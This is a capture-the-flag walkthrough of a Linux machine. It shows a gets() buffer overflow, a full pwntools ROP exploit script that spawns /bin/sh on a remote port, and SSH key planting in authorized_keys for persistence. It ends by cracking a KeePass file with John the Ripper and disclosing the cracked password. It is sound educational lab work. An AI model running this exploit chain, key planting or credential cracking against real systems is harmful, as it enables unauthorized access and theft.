This was an interesting one. It came with paths that are fairly uncommon in CTF machines, so I found it to be really enjoyable.
As always, we start with an nmap scan:
We have an SSH port (22), as is common with Linux boxes. Then there's a really interesting port (1337), that even nmap isn't sure about what it is. Let's start with the HTTP port (80), though, as it is the most common vector for footholds. When we open the page in our browser, we can only see the default Apache 2 page. But that's no reason to stop looking. Using gobuster, we can find pages and URIs that might deliver more information.
There seems to be a /myapp URI. When we browse to it, we can download a file. Let's take look at it:
As we can see, the file is and ELF file, a *nix executable, compiled for 64-bit systems. Using chmod we can execute the file and see what it does:
It seems like the program just prints the current time, waits for input and then echoes it back. Not really the most complex of programs. However, using gdb (in my case including the peda extension), we can take a closer look at this file:
We can see that there is a gets() call (0x401195) and before that, 112 (or 0x70 in hexadecimal) bytes are reserved on the stack (0x401184). This means we have a buffer overflow here, as there is no limit as to how many bytes we can provide using gets(). Any string longer than 112 will suffice to cause a buffer overflow. A stack-based buffer overflow, as in this case, helps us rewrite the information on the stack. With the right payload, we can overwrite the return address at the end and let the program continue wherever we want. A prime target is always a system() call, as it can allow us to get a shell. In this case, we even have one such call right in the main function (0x40116e). The other part of this kind of exploit is to get the right parameter (e.g. "/bin/sh") into the rdi register, as this holds the first parameter of a function. The thing with strings, though, is that we need to pass the address of the string rather than the string itself, as a string (in C) is nothing other than an array of chars, accessed using a char pointer.
But let's go step by step. First would be the pop rdi gadget. What this means is a part of a program where a "pop rdi" is followed by a "ret". The "pop rdi" puts the data at the top of the stack into the rdi register. We do want to avoid tons of codes that's outside of our control to be executed afterwards, though, so an immediate "ret" will take the program to where we want it to be - as we still control the return address. As I said before, we need the address of the string, rather than the string itself. In a typical ROP scenario, one would use the "/bin/sh" string which resides in glibc. But that is somewhat complex. The system() call can also be found in glibc, so that's another reason to return to libc in a typical ROP scenario. However, in our case, we already have the system() call inside our program. Maybe the string is also there, somewhere. For that, we should take an even closer look than before:
The "info functions" command list all defined functions. Most of those are standard C functions, with the exception of two: "main", which we already analyzed, and "test". So let's take a look at the latter:
No string here, but something way more interesting. The "mov rdi,rsp" (0x401156) puts the address of the stack into the rdi register. So, if at that moment a string of our choosing is at the top of the stack, we have a fitting parameter for the system() call, namely the address of that string. Right after is a "jmp r13" call, so the optimal case was if the address of the system call were in the r13 register. So instead of looking for a "pop rdi" gadget, we should now look for a "pop r13" gadget. A tool that helps with that task is ropper:
There we have our "pop r13". And a "ret" soon afterwards. Not directly, though, there are two others pops before the ret. But that shouldn't bother us too much, we just have to put some stuff on the stack to fill r14 and r15 with, and we are good to go.
FYI: At the end of the main function, before the "ret", there is a "leave". As this is a 64-bit binary, it puts the top 8 bytes(=64 bits) of the stack into the "rbp" register. We know from before that the buffer overflow occurs at strings longer than 112 characters. This means that characters 113-120 are put into the rbp register. We can use that to our advantage, because, as can be seen above, the "test" function starts with a "push rbp" (0x401152). So if these characters (112-120) are the string we want to pass as a parameter, they get put into rbp and then put onto the stack just before we move the stack address in rdi - in other words: With the "test" function, we can pass any string we want as a parameter to the system() call.
For ease of use, we can use pwntools, a python framework that makes exploit development a bit easier. The finished code, as a sum of the previous work, would then look like this:
# With this, we can use the functionalities of pwntools from pwn import *# This tells pwntools that we are exploiting a 64-bit Linux binary context(os="linux",arch="amd64")# This the the binary we want to exploit p = process("./myapp")# As we discovered, the buffer overflow requires a string of more than 112 characters # We can use any characters, the string just needs to be 112 characters long junk = ("A" * 112).encode()# The parameter for the system call, /bin/sh will give us a shell # Strings are null-terminated, so we need to put a nullbyte (\x00) at the end # Turns out, the resulting string is exactly 8 bytes long, perfect for putting it into rbp shell = "/bin/sh\x00".encode()# This is the address of the "pop r13" gadget pop_r13 = p64(0x401206)# This is the address of the "test" function, where we put the stack pointer into rdi mov_rdi_rsp = p64(0x401152)# Some null bytes (p64 makes them exactly 8 bytes long) # These are needed to fill r14 and r15 in the "pop 13" gadget null = p64(0x0)# The address of the system call() system = p64(0x40116e)# Putting it all together # First comes to junk to trigger the buffer overflow # Then the "/bin/sh", which will temporarily be put into rbp, then on the stack, then into rdi # Then comes the first return address, in our case the "pop r13" gadget # Then the system call, which will be put into r14 # Then the two nullbyte strings to fill r14 and 15 # And finally the part that puts our string into rdi and then jumps to r13 p.sendline(junk + shell + pop_r13 + system + null + null + mov_rdi_rsp)# This allows us to interact with the program after we exploit it p.interactive()
Let's give it a run:
As we can see, we have a fully functioning shell! Thing is, this is only the program we have locally, so the shell we have is also just on our own machine. But remember that seemingly arbitrary port from the initial port scan (1337)? Let's connect to it using netcat and see what happens:
It seems a bit clunky, but it's essentially the "myapp" program. If the exploit works locally, then it must also work remotely, right? Thankfully, switching from local to remote is a piece of cake with pwntools, we just have to change the following line:
to this:
and we're good to go:
Et voilĂ , a shell on the target system! Let's grab the user flag:
And we immediately have a trace for the next step, a file called "MyPasswords.kdbx" and some JPGs. The JPGs are most likely the key files for the Keepass file (*.kdbx). With that and our old friend John The Ripper we can get crackin'. First we have to get the files on our machine, though, so first things first.
Sadly, we don't seem to have access to python, otherwise we could have just started a Simple HTTP Server and downloaded the files using curl or wget. What we DO have access to, though, is the .ssh directory in the users home folder:
We can just create a new keypair and add the public key to the authorized keys file. On our local machine, we create the keypair with the following command:
We can use any keytype, but ed25519 has a relatively short keylength, making it more comfortable to work with. We can read the public key with the command:
cat id_ed25519.pub
We copy it, and then, on the remote machine, we do:
(Do remember to replace the placeholder with the actual key)
From our local machine, we can then connect via SSH using:
Or, using the SSH-based scp, we can copy the files we want to our local machine:
As mentioned before, we can use John The Ripper to crack the files. But instead of trying every image manually, we can write a short bash script to check all the JPGs for us:
The "sed" at the end helps us identify which hash belongs to which file, otherwise the hashes would all be labeled "MyPasswords", so we would not really have a way to identify them. We then have a list for the password hashes per file. Now we just need to give John some time to crack it. Oh, and a wordlist. One that is really great for CTFs is rockyou, which stems from a hack back in '09 of a company called - you guessed it - RockYou. Putting it all together, we can attempt to crack the passwords using:
There we have it. The correct keyfile is "IMG_0547.JPG" and the password is "bullshit". With that information, and the tool kplcli, we can access the file with the promising name "MyPasswords.kdbx":
And there we have our root password. Let's go back via SSH and become root:
And we have the root flag!